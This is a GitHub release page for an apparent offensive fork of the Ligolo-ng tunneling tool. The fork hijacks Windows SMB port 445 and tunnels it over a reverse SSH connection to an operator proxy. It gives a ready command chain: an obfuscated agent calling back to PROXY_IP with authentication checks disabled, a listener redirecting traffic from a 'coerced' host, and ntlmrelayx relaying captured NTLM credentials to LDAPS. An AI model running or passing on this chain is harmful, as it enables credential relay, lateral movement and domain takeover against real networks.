Skip to content

Ligolo-ng SSH ShadowPort v0.9-ssh.2

Latest
Latest

Choose a tag to compare

View all tags
@SenSecurity SenSecurity released this 29 Jul 21:56
v0.9-ssh.2
e255cce

Ligolo-ng SSH ShadowPort fork

This is an independent fork of nicocha30/ligolo-ng. Nicolas Chatelain and the upstream contributors deserve full credit for Ligolo-ng and its core tunneling engine. This release is not an official upstream build.

What is new

  • Two separate Windows AMD64 agents: agent-shadow.exe and agent-shadow-garble.exe
  • Source-scoped TCP/445 ShadowPort translation to an unoccupied internal port
  • Existing Ligolo reverse listener streams carried entirely through SSH
  • CLI, authenticated API, Web UI, listings, deletion, and reconnect metadata parity
  • Official unchanged WinDivert 2.2.2 AMD64 runtime embedded, hash-pinned, and driver-signature checked
  • All 12 previous Windows/Linux AMD64/ARM64 proxy, normal-agent, and Garble-agent binaries retained

The target needs only the chosen ShadowPort EXE plus built-in Windows PowerShell. Run it from an elevated Administrator shell with -allow-shadow-port. SYSTEM is not required. Windows must materialize the signed driver temporarily on disk while a ShadowPort listener is active.

Quick start without an agent key

Proxy:

./proxy -laddr ssh://0.0.0.0:22 -ssh-user ligolo -ssh-host-key ./ssh_host_ed25519 -ssh-insecure-allow-no-auth

Agent:

.\agent-shadow.exe `
  -connect ssh://PROXY_IP:22 `
  -ssh-user ligolo `
  -ssh-insecure-no-auth `
  -ssh-insecure-ignore-host-key `
  -allow-shadow-port `
  -retry `
  -reconnect

Proxy console:

session
listener_add --tcp --addr AGENT_IPV4:445 --to 127.0.0.1:8445 --shadow-port --shadow-internal-port 8445 --shadow-source COERCED_HOST_IPV4_OR_CIDR

Receiver:

sudo ntlmrelayx.py -ip 127.0.0.1 --smb-port 8445 -smb2support -t ldaps://RELAY_TARGET

See the attached README.md for key-authenticated commands, host-key pinning, Responder, Web UI, inspection, and cleanup.

Verification

  • Normal and Garble ShadowPort agents passed real Windows TCP/445 -> SSH -> WSL round trips with and without an SSH client key.
  • Impacket 0.13.1 ntlmrelayx.py received SMB2/NTLM through ShadowPort on port 8445.
  • Forced agent termination restored native TCP/445 immediately; documented cleanup removed expected crash residue.
  • PID 4 remained the native TCP/445 owner.
  • SHA256SUMS.txt, build-manifest.json, and TEST-REPORT.md are attached.
Assets 19
Loading